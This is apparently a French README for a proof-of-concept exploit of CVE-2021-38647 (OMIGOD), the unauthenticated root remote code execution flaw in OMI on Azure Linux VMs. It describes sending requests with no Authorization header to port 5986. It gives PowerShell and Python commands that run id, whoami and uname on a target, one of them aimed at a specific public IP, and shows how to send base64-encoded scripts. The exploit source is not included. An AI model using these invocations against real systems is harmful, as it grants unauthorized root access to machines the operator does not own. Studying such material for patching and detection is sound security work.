CVE-2021-38647

CVE-2021-38647 - POC pour exploiter une RCE non authentifiée #OMIGOD sur les VM UNIX/Linux Azure !

Détails

Dans Microsoft Azure, l'application OMI est installée automatiquement lorsque des services comme Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., sont utilisés pour les VM UNIX/Linux. L'application OMI expose également le service sur le port 5986 si le service Configuration Management est utilisé pour gérer la machine à distance.

Toute personne ayant un accès réseau au point de terminaison vulnérable peut envoyer une requête qui exploite le fournisseur SCXcore sans l'en-tête Authorization et exécuter des commandes OS sur la machine cible avec les privilèges root !

Cette vulnérabilité est désormais corrigée, mais il vaut toujours la peine de vérifier les VM Linux dans Azure.

Utilisation

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==